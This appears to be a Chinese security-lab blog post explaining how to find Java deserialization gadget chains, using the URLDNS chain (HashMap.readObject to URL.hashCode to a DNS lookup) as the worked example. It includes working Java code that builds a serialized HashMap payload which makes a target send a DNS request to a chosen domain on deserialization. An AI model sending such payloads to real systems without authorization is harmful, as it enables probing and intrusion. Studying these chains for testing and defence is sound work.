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戟星安全实验室|渗透测试中java反序列化利用链挖掘思路

戟星安全实验室|渗透测试中java反序列化利用链挖掘思路 忆享科技
2022-08-31
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戟星安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等


本文约2950字,阅读约需8分钟。


0x00 反序列化有可能产生安全问题的形式


1.入口类的readObject 直接调用危险方法 ------基本不可能,一把不会有人会在服务器上重写readObject,而且又危险方法
2.入口类参数中包含可控类,该类有危险方法,readObject时调用
3.入口类参数中包含可控类,该类又调用其他危险方法,readObject时调用比如类定义为Object ,调用equals/hashcode/toString
重点:类型相同 同名函数
4.构造函数/静态代码块等类加载时隐式执行


0x02  调用链条件



共同条件:实现Serializable 最好jdk自带相同的类 或者通用包里面存在的类(例如Commons Collections)入口类:source 重写readObject 调用常见的函数 参数类型宽 例如;Map的实现类HashMap(object,object)
调用链:gadget chain 相同名称 相同类型执行类 :sink rce ssrf 写文件等等 最重要

例如:URL(可以发起dns请求)InvokerTransformer(反射动态代码执行) TemplatesImpl(可以实现任意类加载)

下面就通过分析dnsurl这条链, 来学习挖掘调用链的思路。


0x03  dnsurl链是什么,有什么用?



用来测试目标网站是否存在反序列漏洞,用到HashMap这个类的反序列化,目标反序列化后会自动发送dns请求,验证是否存在漏洞。因为HashMap这个jdk自带,并且不受任何java版本限制。


0x04  HashMap分析


这里urldns这条路主要用的是HashMap这个类的反序列化,为什么用这个类呢?


1、可以被序列化 继承了Serializable接口
2、JDK自带,参数类型宽,可以传入任意object HashMap(object,object)
3、也重写了readObject



为什么要HashMap要重写readObject?


* 需要保住键值唯一性,所以需要计算键值hashCode,在不同机器上算出来的hashCode值是不一样的
* 查看重写的readObject方法,调用了hash()的方法计算key,hash()方法就是调用key的hashCode()方法,而且这里的key是个任意泛型,所有我们可以传入任意对象。

下面是HashCode.readObject()的片段代码,调用了hash(key)

// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject(); putVal(hash(key), key, value, false, false);



传入的是一个Object对象,但是为什么这么确定key里面有hashCode(),因为老祖宗Object就有这个hashCode自带方法,而且是传入的那个类重写了这个方法,就用重写之后的。


序列化进去的数据循序要和反序列化出来的对象循序对应(知识点)

@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();

上面的readObject代码为什么是K key = (K) s.readObject(); 出来的是k类型,然后V value = (V) s.readObject(); 出来的V类, 让我想起了一个知识点:

因为序列化进去的数据要和反序列化出来的对象对应,为了验证我的想法,查看HashMap的writeObject方法



这里没有什么重要的信息,跟进internalWriteEntries(s)方法,代码很明显就是循环序列化key和value。

所以读出来的时候也是循环读key和value。


那么谁的hashCode()方法可以可以发起dns请求呢?


前面4.1已经分析HashMap类反序列化之后会调用key的hashCode()方法,我没就想,到底谁的hashCode可以发起dns请求呢,或者那个类的hashCode方法调用了危险的函数可以被我没利用呢?

URL这个类里面就满足了这些条件,查看URL类的hashCode()



跟进到URLStreamHandler类的hashCode



跟进getHostAddress方法,获取主机地址的意思,下面是getByName通过域名获取ip地址



跟进getAllByName



一直跟下去到IntetAddress 这里发起了dns请求




0x05 dnsurl链代码编写


序列化代码 其实就这么几行:

URL url = new URL("http://www.dns.com/");HashMap<URL,Integer> hashMap = new HashMap<>();Class<? extends URL> urlClass = url.getClass();//用反射改里面的值Field hashCode = urlClass.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,11);//默认hashCode未-1,这样在put的时候就会发起dns请求,干扰判断hashMap.put(url,1);hashCode.set(url,-1);//把hashCode设置为-1,反序列化的时候也为-1,才会发起dns请求new ObjectOutputStream(new FileOutputStream("ser.bin")).writeObject(hashMap);


反序列化代码

new ObjectInputStream(new FileInputStream("ser.bin")).readObject();


代码分析

分析:hashCode.set(url,11); //这里是用反射改hashCode的值

为什么要改hashCode里面的值?

因为默认hashCode为-1,



这样在put的时候就会计算hash发起dns请求,干扰判断,然后put完之后改为-1,好让反序列化的时候触发计算hash促发dns请求。


下面是URL类的代码,如果hashCode为-1则计算hash,否则不计算



END


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忆享科技是一家智能信息化解决方案提供商,业务范围涵盖互联网平台设计与构建、IT应用开发维护、软件服务外包(ITO)、微信相关研发、大型数据中心运维管理、智慧城市等,应用于政府、金融、教育、电力医疗、工程等领域。
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